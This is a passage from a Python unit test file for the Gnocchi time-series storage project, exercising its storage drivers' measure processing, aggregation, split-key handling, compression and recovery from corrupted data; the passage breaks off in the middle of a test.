# -*- encoding: utf-8 -*- # # Copyright © 2014-2015 eNovance # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import datetime import uuid import mock import numpy import six.moves from gnocchi import archive_policy from gnocchi import carbonara from gnocchi import incoming from gnocchi import indexer from gnocchi import storage from gnocchi.storage import ceph from gnocchi.storage import file from gnocchi.storage import redis from gnocchi.storage import s3 from gnocchi.storage import swift from gnocchi.tests import base as tests_base def datetime64(*args): return numpy.datetime64(datetime.datetime(*args)) class TestStorageDriver(tests_base.TestCase): def setUp(self): super(TestStorageDriver, self).setUp() # A lot of tests wants a metric, create one self.metric, __ = self._create_metric() def test_driver_str(self): driver = storage.get_driver(self.conf) if isinstance(driver, file.FileStorage): s = driver.basepath elif isinstance(driver, ceph.CephStorage): s = driver.rados.get_fsid() elif isinstance(driver, redis.RedisStorage): s = driver._client elif isinstance(driver, s3.S3Storage): s = driver._bucket_name elif isinstance(driver, swift.SwiftStorage): s = driver._container_prefix self.assertEqual(str(driver), "%s: %s" % ( driver.__class__.__name__, s)) def test_get_driver(self): driver = storage.get_driver(self.conf) self.assertIsInstance(driver, storage.StorageDriver) def test_file_driver_subdir_len(self): driver = storage.get_driver(self.conf) if not isinstance(driver, file.FileStorage): self.skipTest("not file driver") # Check the default self.assertEqual(2, driver.SUBDIR_LEN) metric = mock.Mock(id=uuid.UUID("12345678901234567890123456789012")) expected = (driver.basepath + "/12/34/56/78/90/12/34/56/78/90/12/34/56" "/78/90/12/12345678-9012-3456-7890-123456789012") self.assertEqual(expected, driver._build_metric_dir(metric)) driver._file_subdir_len = 16 expected = (driver.basepath + "/1234567890123456/7890123456" "789012/12345678-9012-3456-7890-123456789012") self.assertEqual(expected, driver._build_metric_dir(metric)) driver._file_subdir_len = 15 expected = (driver.basepath + "/123456789012345/67890123456" "7890/12/12345678-9012-3456-7890-123456789012") self.assertEqual(expected, driver._build_metric_dir(metric)) def test_corrupted_split(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 69), ]) self.trigger_processing() aggregation = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(5, 'm')) with mock.patch('gnocchi.carbonara.AggregatedTimeSerie.unserialize', side_effect=carbonara.InvalidData()): results = self.storage._get_splits_and_unserialize({ self.metric: { aggregation: [ carbonara.SplitKey( numpy.datetime64(1387800000, 's'), numpy.timedelta64(5, 'm')) ], }, })[self.metric][aggregation] self.assertEqual(1, len(results)) self.assertIsInstance(results[0], carbonara.AggregatedTimeSerie) # Assert it's an empty one since corrupted self.assertEqual(0, len(results[0])) self.assertEqual(results[0].aggregation, aggregation) def test_get_splits_and_unserialize(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 69), ]) self.trigger_processing() aggregation = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(5, 'm')) results = self.storage._get_splits_and_unserialize({ self.metric: { aggregation: [ carbonara.SplitKey( numpy.datetime64(1387800000, 's'), numpy.timedelta64(5, 'm')), ], }, })[self.metric][aggregation] self.assertEqual(1, len(results)) self.assertIsInstance(results[0], carbonara.AggregatedTimeSerie) # Assert it's not empty one since corrupted self.assertGreater(len(results[0]), 0) self.assertEqual(results[0].aggregation, aggregation) def test_corrupted_data(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 69), ]) self.trigger_processing() self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 13, 0, 1), 1), ]) with mock.patch('gnocchi.carbonara.AggregatedTimeSerie.unserialize', side_effect=carbonara.InvalidData()): with mock.patch('gnocchi.carbonara.BoundTimeSerie.unserialize', side_effect=carbonara.InvalidData()): self.trigger_processing() m = self.storage.get_measures( self.metric, self.metric.archive_policy.get_aggregations_for_method('mean'), )['mean'] self.assertIn((datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 1), m) self.assertIn((datetime64(2014, 1, 1, 13), numpy.timedelta64(1, 'h'), 1), m) self.assertIn((datetime64(2014, 1, 1, 13), numpy.timedelta64(5, 'm'), 1), m) def test_aborted_initial_processing(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 5), ]) with mock.patch.object(self.storage, '_store_unaggregated_timeseries', side_effect=Exception): try: self.trigger_processing() except Exception: pass with mock.patch('gnocchi.storage.LOG') as LOG: self.trigger_processing() self.assertFalse(LOG.error.called) aggregations = ( self.metric.archive_policy.get_aggregations_for_method("mean") ) m = self.storage.get_measures(self.metric, aggregations)['mean'] self.assertIn((datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 5.0), m) self.assertIn((datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 5.0), m) self.assertIn((datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 5.0), m) def test_delete_nonempty_metric(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 69), ]) self.trigger_processing() self.storage._delete_metric(self.metric) self.trigger_processing() aggregations = ( self.metric.archive_policy.get_aggregations_for_method("mean") ) self.assertRaises(storage.MetricDoesNotExist, self.storage.get_measures, self.metric, aggregations) self.assertEqual( {self.metric: None}, self.storage._get_or_create_unaggregated_timeseries([self.metric])) def test_measures_reporting_format(self): report = self.incoming.measures_report(True) self.assertIsInstance(report, dict) self.assertIn('summary', report) self.assertIn('metrics', report['summary']) self.assertIn('measures', report['summary']) self.assertIn('details', report) self.assertIsInstance(report['details'], dict) report = self.incoming.measures_report(False) self.assertIsInstance(report, dict) self.assertIn('summary', report) self.assertIn('metrics', report['summary']) self.assertIn('measures', report['summary']) self.assertNotIn('details', report) def test_measures_reporting(self): m2, __ = self._create_metric('medium') for i in six.moves.range(60): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, i), 69), ]) self.incoming.add_measures(m2.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, i), 69), ]) report = self.incoming.measures_report(True) self.assertIsInstance(report, dict) self.assertEqual(2, report['summary']['metrics']) self.assertEqual(120, report['summary']['measures']) self.assertIn('details', report) self.assertIsInstance(report['details'], dict) report = self.incoming.measures_report(False) self.assertIsInstance(report, dict) self.assertEqual(2, report['summary']['metrics']) self.assertEqual(120, report['summary']['measures']) def test_get_aggregated_measures(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, i, j), 100) for i in six.moves.range(0, 60) for j in six.moves.range(0, 60)]) self.trigger_processing([self.metric]) aggregations = self.metric.archive_policy.aggregations measures = self.storage.get_aggregated_measures( {self.metric: aggregations}) self.assertEqual(1, len(measures)) self.assertIn(self.metric, measures) measures = measures[self.metric] self.assertEqual(len(aggregations), len(measures)) self.assertGreater(len(measures[aggregations[0]]), 0) for agg in aggregations: self.assertEqual(agg, measures[agg].aggregation) def test_get_aggregated_measures_multiple(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, i, j), 100) for i in six.moves.range(0, 60) for j in six.moves.range(0, 60)]) m2, __ = self._create_metric('medium') self.incoming.add_measures(m2.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, i, j), 100) for i in six.moves.range(0, 60) for j in six.moves.range(0, 60)]) self.trigger_processing([self.metric, m2]) aggregations = self.metric.archive_policy.aggregations measures = self.storage.get_aggregated_measures( {self.metric: aggregations, m2: m2.archive_policy.aggregations}) self.assertEqual({self.metric, m2}, set(measures.keys())) self.assertEqual(len(aggregations), len(measures[self.metric])) self.assertGreater(len(measures[self.metric][aggregations[0]]), 0) for agg in aggregations: self.assertEqual(agg, measures[self.metric][agg].aggregation) self.assertEqual(len(m2.archive_policy.aggregations), len(measures[m2])) self.assertGreater( len(measures[m2][m2.archive_policy.aggregations[0]]), 0) for agg in m2.archive_policy.aggregations: self.assertEqual(agg, measures[m2][agg].aggregation) def test_add_measures_big(self): m, __ = self._create_metric('high') self.incoming.add_measures(m.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, i, j), 100) for i in six.moves.range(0, 60) for j in six.moves.range(0, 60)]) self.trigger_processing([m]) aggregations = ( m.archive_policy.get_aggregations_for_method("mean") ) self.assertEqual(3661, len( self.storage.get_measures(m, aggregations)['mean'])) @mock.patch('gnocchi.carbonara.SplitKey.POINTS_PER_SPLIT', 48) def test_add_measures_update_subset_split(self): m, m_sql = self._create_metric('medium') measures = [ incoming.Measure(datetime64(2014, 1, 6, i, j, 0), 100) for i in six.moves.range(2) for j in six.moves.range(0, 60, 2)] self.incoming.add_measures(m.id, measures) self.trigger_processing([m]) # add measure to end, in same aggregate time as last point. self.incoming.add_measures(m.id, [ incoming.Measure(datetime64(2014, 1, 6, 1, 58, 1), 100)]) with mock.patch.object(self.storage, '_store_metric_splits') as c: # should only resample last aggregate self.trigger_processing([m]) count = 0 for call in c.mock_calls: # policy is 60 points and split is 48. should only update 2nd half args = call[1] for metric, key_agg_data_offset in six.iteritems(args[0]): if metric.id == m_sql.id: for key, aggregation, data, offset in key_agg_data_offset: if (key.sampling == numpy.timedelta64(1, 'm') and aggregation.method == "mean"): count += 1 self.assertEqual(1, count) def test_add_measures_update_subset(self): m, m_sql = self._create_metric('medium') measures = [ incoming.Measure(datetime64(2014, 1, 6, i, j, 0), 100) for i in six.moves.range(2) for j in six.moves.range(0, 60, 2)] self.incoming.add_measures(m.id, measures) self.trigger_processing([m]) # add measure to end, in same aggregate time as last point. new_point = datetime64(2014, 1, 6, 1, 58, 1) self.incoming.add_measures(m.id, [incoming.Measure(new_point, 100)]) with mock.patch.object(self.incoming, 'add_measures') as c: self.trigger_processing([m]) for __, args, __ in c.mock_calls: self.assertEqual( list(args[3])[0][0], carbonara.round_timestamp( new_point, args[1].granularity * 10e8)) def test_delete_old_measures(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2014, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2014, 1, 1, 12, 7, 31), 42), incoming.Measure(datetime64(2014, 1, 1, 12, 9, 31), 4), incoming.Measure(datetime64(2014, 1, 1, 12, 12, 45), 44), ]) self.trigger_processing() aggregations = ( self.metric.archive_policy.get_aggregations_for_method("mean") ) self.assertEqual({"mean": [ (datetime64(2014, 1, 1), numpy.timedelta64(1, 'D'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(1, 'h'), 39.75), (datetime64(2014, 1, 1, 12), numpy.timedelta64(5, 'm'), 69.0), (datetime64(2014, 1, 1, 12, 5), numpy.timedelta64(5, 'm'), 23.0), (datetime64(2014, 1, 1, 12, 10), numpy.timedelta64(5, 'm'), 44.0), ]}, self.storage.get_measures(self.metric, aggregations)) # One year later… self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2015, 1, 1, 12, 0, 1), 69), ]) self.trigger_processing() self.assertEqual({"mean": [ (datetime64(2015, 1, 1), numpy.timedelta64(1, 'D'), 69), (datetime64(2015, 1, 1, 12), numpy.timedelta64(1, 'h'), 69), (datetime64(2015, 1, 1, 12), numpy.timedelta64(5, 'm'), 69), ]}, self.storage.get_measures(self.metric, aggregations)) agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'D')) self.assertEqual({ self.metric: { agg: {carbonara.SplitKey(numpy.datetime64(1244160000, 's'), numpy.timedelta64(1, 'D'))}, }, }, self.storage._list_split_keys({self.metric: [agg]})) agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'h')) self.assertEqual({ self.metric: { agg: {carbonara.SplitKey(numpy.datetime64(1412640000, 's'), numpy.timedelta64(1, 'h'))}, }, }, self.storage._list_split_keys({self.metric: [agg]})) agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(5, 'm')) self.assertEqual({ self.metric: { agg: {carbonara.SplitKey(numpy.datetime64(1419120000, 's'), numpy.timedelta64(5, 'm'))}, } }, self.storage._list_split_keys({self.metric: [agg]})) def test_get_measures_return(self): self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2016, 1, 2, 13, 7, 31), 42), incoming.Measure(datetime64(2016, 1, 4, 14, 9, 31), 4), incoming.Measure(datetime64(2016, 1, 6, 15, 12, 45), 44), ]) self.trigger_processing() aggregation = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(5, 'm')) data = self.storage._get_splits({ self.metric: { aggregation: [ carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(5, 'm'), )]}}) self.assertEqual(1, len(data)) data = data[self.metric] self.assertEqual(1, len(data)) data = data[aggregation] self.assertEqual(1, len(data)) self.assertIsInstance(data[0], bytes) self.assertGreater(len(data[0]), 0) existing = data[0] # Now retrieve an existing and a non-existing key data = self.storage._get_splits({ self.metric: { aggregation: [ carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(5, 'm'), ), carbonara.SplitKey( numpy.datetime64(1451520010, 's'), numpy.timedelta64(5, 'm'), ), ]}}) self.assertEqual(1, len(data)) data = data[self.metric] self.assertEqual(1, len(data)) data = data[aggregation] self.assertEqual(2, len(data)) self.assertIsInstance(data[0], bytes) self.assertGreater(len(data[0]), 0) self.assertEqual(existing, data[0]) self.assertIsNone(data[1]) # Now retrieve a non-existing and an existing key data = self.storage._get_splits({ self.metric: { aggregation: [ carbonara.SplitKey( numpy.datetime64(155152000, 's'), numpy.timedelta64(5, 'm'), ), carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(5, 'm'), ) ]}}) self.assertEqual(1, len(data)) data = data[self.metric] self.assertEqual(1, len(data)) data = data[aggregation] self.assertEqual(2, len(data)) self.assertIsInstance(data[1], bytes) self.assertGreater(len(data[1]), 0) self.assertEqual(existing, data[1]) self.assertIsNone(data[0]) m2, _ = self._create_metric() # Now retrieve a non-existing (= no aggregated measures) metric data = self.storage._get_splits({ m2: { aggregation: [ carbonara.SplitKey( numpy.datetime64(1451520010, 's'), numpy.timedelta64(5, 'm'), ), carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(5, 'm'), ) ]}}) self.assertEqual({m2: {aggregation: [None, None]}}, data) def test_rewrite_measures(self): # Create an archive policy that spans on several splits. Each split # being 3600 points, let's go for 36k points so we have 10 splits. apname = str(uuid.uuid4()) ap = archive_policy.ArchivePolicy(apname, 0, [(36000, 60)]) self.index.create_archive_policy(ap) self.metric = indexer.Metric(uuid.uuid4(), ap) self.index.create_metric(self.metric.id, str(uuid.uuid4()), apname) # First store some points scattered across different splits self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2016, 1, 2, 13, 7, 31), 42), incoming.Measure(datetime64(2016, 1, 4, 14, 9, 31), 4), incoming.Measure(datetime64(2016, 1, 6, 15, 12, 45), 44), ]) self.trigger_processing() agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) self.assertEqual({ self.metric: { agg: { carbonara.SplitKey(numpy.datetime64(1451520000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451736000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm')), }, } }, self.storage._list_split_keys({self.metric: [agg]})) if self.storage.WRITE_FULL: assertCompressedIfWriteFull = self.assertTrue else: assertCompressedIfWriteFull = self.assertFalse aggregation = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451736000, 's'), numpy.timedelta64(60, 's'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451952000, 's'), numpy.timedelta64(60, 's'), )]}})[self.metric][aggregation][0] assertCompressedIfWriteFull( carbonara.AggregatedTimeSerie.is_compressed(data)) self.assertEqual({"mean": [ (datetime64(2016, 1, 1, 12), numpy.timedelta64(1, 'm'), 69), (datetime64(2016, 1, 2, 13, 7), numpy.timedelta64(1, 'm'), 42), (datetime64(2016, 1, 4, 14, 9), numpy.timedelta64(1, 'm'), 4), (datetime64(2016, 1, 6, 15, 12), numpy.timedelta64(1, 'm'), 44), ]}, self.storage.get_measures(self.metric, [aggregation])) # Now store brand new points that should force a rewrite of one of the # split (keep in mind the back window size in one hour here). We move # the BoundTimeSerie processing timeserie far away from its current # range. self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 10, 16, 18, 45), 45), incoming.Measure(datetime64(2016, 1, 10, 17, 12, 45), 46), ]) self.trigger_processing() agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) self.assertEqual({ self.metric: { agg: { carbonara.SplitKey(numpy.datetime64(1452384000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451736000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451520000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm')), }, }, }, self.storage._list_split_keys({self.metric: [agg]})) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(60, 's'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451736000, 's'), numpy.timedelta64(60, 's'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][aggregation][0] # Now this one is compressed because it has been rewritten! self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [ carbonara.SplitKey( numpy.datetime64(1452384000, 's'), numpy.timedelta64(60, 's'), )]}})[self.metric][aggregation][0] assertCompressedIfWriteFull( carbonara.AggregatedTimeSerie.is_compressed(data)) self.assertEqual({"mean": [ (datetime64(2016, 1, 1, 12), numpy.timedelta64(1, 'm'), 69), (datetime64(2016, 1, 2, 13, 7), numpy.timedelta64(1, 'm'), 42), (datetime64(2016, 1, 4, 14, 9), numpy.timedelta64(1, 'm'), 4), (datetime64(2016, 1, 6, 15, 12), numpy.timedelta64(1, 'm'), 44), (datetime64(2016, 1, 10, 16, 18), numpy.timedelta64(1, 'm'), 45), (datetime64(2016, 1, 10, 17, 12), numpy.timedelta64(1, 'm'), 46), ]}, self.storage.get_measures(self.metric, [aggregation])) def test_rewrite_measures_multiple_granularities(self): apname = str(uuid.uuid4()) # Create an archive policy with two different granularities ap = archive_policy.ArchivePolicy(apname, 0, [(36000, 60), (36000, 1)]) self.index.create_archive_policy(ap) self.metric = indexer.Metric(uuid.uuid4(), ap) self.index.create_metric(self.metric.id, str(uuid.uuid4()), apname) # First store some points self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 6, 18, 15, 46), 43), incoming.Measure(datetime64(2016, 1, 6, 18, 15, 47), 43), incoming.Measure(datetime64(2016, 1, 6, 18, 15, 48), 43), ]) self.trigger_processing() # Add some more points, mocking out WRITE_FULL attribute of the current # driver, so that rewrite happens self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 7, 18, 15, 49), 43), incoming.Measure(datetime64(2016, 1, 7, 18, 15, 50), 43), incoming.Measure(datetime64(2016, 1, 7, 18, 18, 46), 43), ]) driver = storage.get_driver(self.conf) with mock.patch.object(driver.__class__, 'WRITE_FULL', False): self.trigger_processing() def test_rewrite_measures_oldest_mutable_timestamp_eq_next_key(self): """See LP#1655422""" # Create an archive policy that spans on several splits. Each split # being 3600 points, let's go for 36k points so we have 10 splits. apname = str(uuid.uuid4()) ap = archive_policy.ArchivePolicy(apname, 0, [(36000, 60)]) self.index.create_archive_policy(ap) self.metric = indexer.Metric(uuid.uuid4(), ap) self.index.create_metric(self.metric.id, str(uuid.uuid4()), apname) # First store some points scattered across different splits self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2016, 1, 2, 13, 7, 31), 42), incoming.Measure(datetime64(2016, 1, 4, 14, 9, 31), 4), incoming.Measure(datetime64(2016, 1, 6, 15, 12, 45), 44), ]) self.trigger_processing() agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) self.assertEqual({ self.metric: { agg: { carbonara.SplitKey(numpy.datetime64(1451520000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451736000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm')), }, }, }, self.storage._list_split_keys({self.metric: [agg]})) if self.storage.WRITE_FULL: assertCompressedIfWriteFull = self.assertTrue else: assertCompressedIfWriteFull = self.assertFalse aggregation = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) data = self.storage._get_splits( {self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits( {self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451736000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits( {self.metric: {aggregation: [carbonara.SplitKey( numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm') )]}})[self.metric][aggregation][0] assertCompressedIfWriteFull( carbonara.AggregatedTimeSerie.is_compressed(data)) self.assertEqual({"mean": [ (datetime64(2016, 1, 1, 12), numpy.timedelta64(1, 'm'), 69), (datetime64(2016, 1, 2, 13, 7), numpy.timedelta64(1, 'm'), 42), (datetime64(2016, 1, 4, 14, 9), numpy.timedelta64(1, 'm'), 4), (datetime64(2016, 1, 6, 15, 12), numpy.timedelta64(1, 'm'), 44), ]}, self.storage.get_measures(self.metric, [aggregation])) # Now store brand new points that should force a rewrite of one of the # split (keep in mind the back window size is one hour here). We move # the BoundTimeSerie processing timeserie far away from its current # range. # Here we test a special case where the oldest_mutable_timestamp will # be 2016-01-10T00:00:00 = 1452384000.0, our new split key. self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 10, 0, 12), 45), ]) self.trigger_processing() agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) self.assertEqual({ self.metric: { agg: { carbonara.SplitKey(numpy.datetime64('2016-01-10T00:00:00'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64('2016-01-02T12:00:00'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64('2015-12-31T00:00:00'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64('2016-01-05T00:00:00'), numpy.timedelta64(1, 'm')), }, }, }, self.storage._list_split_keys({self.metric: [agg]})) data = self.storage._get_splits({ self.metric: { agg: [carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][agg][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { agg: [carbonara.SplitKey( numpy.datetime64(1451736000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][agg][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { agg: [carbonara.SplitKey( numpy.datetime64(1451952000, 's'), numpy.timedelta64(60, 's') )]}})[self.metric][agg][0] # Now this one is compressed because it has been rewritten! self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { agg: [carbonara.SplitKey( numpy.datetime64(1452384000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][agg][0] assertCompressedIfWriteFull( carbonara.AggregatedTimeSerie.is_compressed(data)) self.assertEqual({"mean": [ (datetime64(2016, 1, 1, 12), numpy.timedelta64(1, 'm'), 69), (datetime64(2016, 1, 2, 13, 7), numpy.timedelta64(1, 'm'), 42), (datetime64(2016, 1, 4, 14, 9), numpy.timedelta64(1, 'm'), 4), (datetime64(2016, 1, 6, 15, 12), numpy.timedelta64(1, 'm'), 44), (datetime64(2016, 1, 10, 0, 12), numpy.timedelta64(1, 'm'), 45), ]}, self.storage.get_measures(self.metric, [aggregation])) def test_rewrite_measures_corruption_missing_file(self): # Create an archive policy that spans on several splits. Each split # being 3600 points, let's go for 36k points so we have 10 splits. apname = str(uuid.uuid4()) ap = archive_policy.ArchivePolicy(apname, 0, [(36000, 60)]) self.index.create_archive_policy(ap) self.metric = indexer.Metric(uuid.uuid4(), ap) self.index.create_metric(self.metric.id, str(uuid.uuid4()), apname) # First store some points scattered across different splits self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2016, 1, 2, 13, 7, 31), 42), incoming.Measure(datetime64(2016, 1, 4, 14, 9, 31), 4), incoming.Measure(datetime64(2016, 1, 6, 15, 12, 45), 44), ]) self.trigger_processing() agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) self.assertEqual({ self.metric: { agg: { carbonara.SplitKey(numpy.datetime64('2015-12-31T00:00:00'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64('2016-01-02T12:00:00'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64('2016-01-05T00:00:00'), numpy.timedelta64(1, 'm')), }, }, }, self.storage._list_split_keys({self.metric: [agg]})) if self.storage.WRITE_FULL: assertCompressedIfWriteFull = self.assertTrue else: assertCompressedIfWriteFull = self.assertFalse aggregation = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451520000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451736000, 's'), numpy.timedelta64(1, 'm') )]}})[self.metric][aggregation][0] self.assertTrue(carbonara.AggregatedTimeSerie.is_compressed(data)) data = self.storage._get_splits({ self.metric: { aggregation: [carbonara.SplitKey( numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm'), )]}})[self.metric][aggregation][0] assertCompressedIfWriteFull( carbonara.AggregatedTimeSerie.is_compressed(data)) self.assertEqual({"mean": [ (datetime64(2016, 1, 1, 12), numpy.timedelta64(1, 'm'), 69), (datetime64(2016, 1, 2, 13, 7), numpy.timedelta64(1, 'm'), 42), (datetime64(2016, 1, 4, 14, 9), numpy.timedelta64(1, 'm'), 4), (datetime64(2016, 1, 6, 15, 12), numpy.timedelta64(1, 'm'), 44), ]}, self.storage.get_measures(self.metric, [aggregation])) # Test what happens if we delete the latest split and then need to # compress it! self.storage._delete_metric_splits( {self.metric: [(carbonara.SplitKey( numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm'), ), aggregation)]}) # Now store brand new points that should force a rewrite of one of the # split (keep in mind the back window size in one hour here). We move # the BoundTimeSerie processing timeserie far away from its current # range. self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 10, 16, 18, 45), 45), incoming.Measure(datetime64(2016, 1, 10, 17, 12, 45), 46), ]) self.trigger_processing() def test_rewrite_measures_corruption_bad_data(self): # Create an archive policy that spans on several splits. Each split # being 3600 points, let's go for 36k points so we have 10 splits. apname = str(uuid.uuid4()) ap = archive_policy.ArchivePolicy(apname, 0, [(36000, 60)]) self.index.create_archive_policy(ap) self.metric = indexer.Metric(uuid.uuid4(), ap) self.index.create_metric(self.metric.id, str(uuid.uuid4()), apname) # First store some points scattered across different splits self.incoming.add_measures(self.metric.id, [ incoming.Measure(datetime64(2016, 1, 1, 12, 0, 1), 69), incoming.Measure(datetime64(2016, 1, 2, 13, 7, 31), 42), incoming.Measure(datetime64(2016, 1, 4, 14, 9, 31), 4), incoming.Measure(datetime64(2016, 1, 6, 15, 12, 45), 44), ]) self.trigger_processing() agg = self.metric.archive_policy.get_aggregation( "mean", numpy.timedelta64(1, 'm')) self.assertEqual({ self.metric: { agg: { carbonara.SplitKey(numpy.datetime64(1451520000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451736000, 's'), numpy.timedelta64(1, 'm')), carbonara.SplitKey(numpy.datetime64(1451952000, 's'), numpy.timedelta64(1, 'm')), }, }, }, 